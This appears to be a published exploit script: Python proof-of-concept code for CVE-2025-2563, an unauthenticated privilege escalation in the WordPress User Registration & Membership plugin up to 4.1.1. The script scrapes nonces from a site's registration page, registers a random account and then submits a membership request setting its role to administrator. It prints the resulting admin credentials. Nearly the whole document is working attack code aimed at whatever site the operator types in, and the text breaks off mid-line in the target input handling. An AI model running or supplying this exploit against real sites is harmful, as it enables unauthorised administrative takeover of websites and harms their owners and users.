# Exploit Title: WordPress User Registration & Membership Plugin <= 4.1.1 - Unauthenticated Privilege Escalation # Exploit Author: Al Baradi Joy # Date: 2025-04-07 # Vendor Homepage: https://wordpress.org/plugins/user-registration/ # Software Link: https://downloads.wordpress.org/plugin/user-registration.4.1.1.zip # Version: <= 4.1.1 # Tested on: WordPress 6.4.3 # CVSS: 9.8 (CRITICAL) # CWE: CWE-269 # References: # https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/user-registration/user-registration-membership-411-unauthenticated-privilege-escalation # https://patchstack.com/database/wordpress/plugin/user-registration/vulnerability/wordpress-user-registration-membership-plugin-4-1-2-unauthenticated-privilege-escalation-vulnerability # https://nvd.nist.gov/vuln/detail/CVE-2025-2563 import re import json import requests import random import string from urllib.parse import urljoin def banner(): print("\n[+] CVE-2025-2563 - WP User Registration Privilege Escalation") print("[+] Made By Al Baradi Joy\n") def randstring(n=8): return ''.join(random.choices(string.ascii_lowercase, k=n)) def get_regex(content, pattern, group=1, name=""): match = re.search(pattern, content) if not match: raise ValueError(f"[-] Could not extract {name} (Pattern: {pattern})") return match.group(group) def exploit(target): session = requests.Session() username = randstring() password = randstring() + "!@" email = f"{username}@exploit.test" try: print("[+] Getting registration page...") r = session.get(urljoin(target, "/membership-registration/"), timeout=10) r.raise_for_status() page = r.text nonce = get_regex(page, r'"user_registration_form_data_save":"(.*?)"', name="nonce") formid = get_regex(page, r"id='user-registration-form-([0-9]+)'", name="formid") memval = get_regex(page, r'id="ur-membership-select-membership-([0-9]+)', name="membership value") memname = get_regex(page, r'data-field-id="membership_field_([0-9]+)"', name="membership field name") front_nonce = get_regex(page, r'name="ur_frontend_form_nonce" value="(.*?)"', name="frontend_nonce") loc_nonce = get_regex(page, r'ur_membership_frontend_localized_data = {"_nonce":"(.*?)"', name="localized_frontend_nonce") print("[+] Submitting registration form...") form_data = [ {"field_name": "user_login", "value": username, "field_type": "text", "label": "Username"}, {"field_name": "user_email", "value": email, "field_type": "email", "label": "User Email"}, {"field_name": "user_pass", "value": password, "field_type": "password", "label": "User Password"}, {"field_name": "user_confirm_password", "value": password, "field_type": "password", "label": "Confirm Password"}, {"value": memval, "field_type": "radio", "label": "membership", "field_name": f"membership_field_{memname}"} ] payload = { "action": "user_registration_user_form_submit", "security": nonce, "form_data": json.dumps(form_data), "form_id": formid, "registration_language": "en-US", "ur_frontend_form_nonce": front_nonce, "is_membership_active": memval, "membership_type": memval } r2 = session.post(urljoin(target, "/wp-admin/admin-ajax.php"), data=payload, timeout=10) if '"success":true' not in r2.text: print("[-] Registration form failed.") return print("[+] Sending membership registration as administrator...") member_payload = { "action": "user_registration_membership_register_member", "security": loc_nonce, "members_data": json.dumps({ "membership": "1", "payment_method": "free", "start_date": "2025-3-29", "username": username, "role": "administrator" }) } r3 = session.post(urljoin(target, "/wp-admin/admin-ajax.php"), data=member_payload, timeout=10) if '"success":true' in r3.text: print("[+] Exploit Successful!") print(f"[+] Admin Username: {username}") print(f"[+] Admin Password: {password}") else: print("[-] Membership escalation failed.") except Exception as e: print(f"[-] Exploit failed: {str(e)}") if __name__ == "__main__": banner() target = input("Enter target WordPress site (e.g., http://example.com): ").strip().rstrip('/') if not target.startswith("http"): target = "http: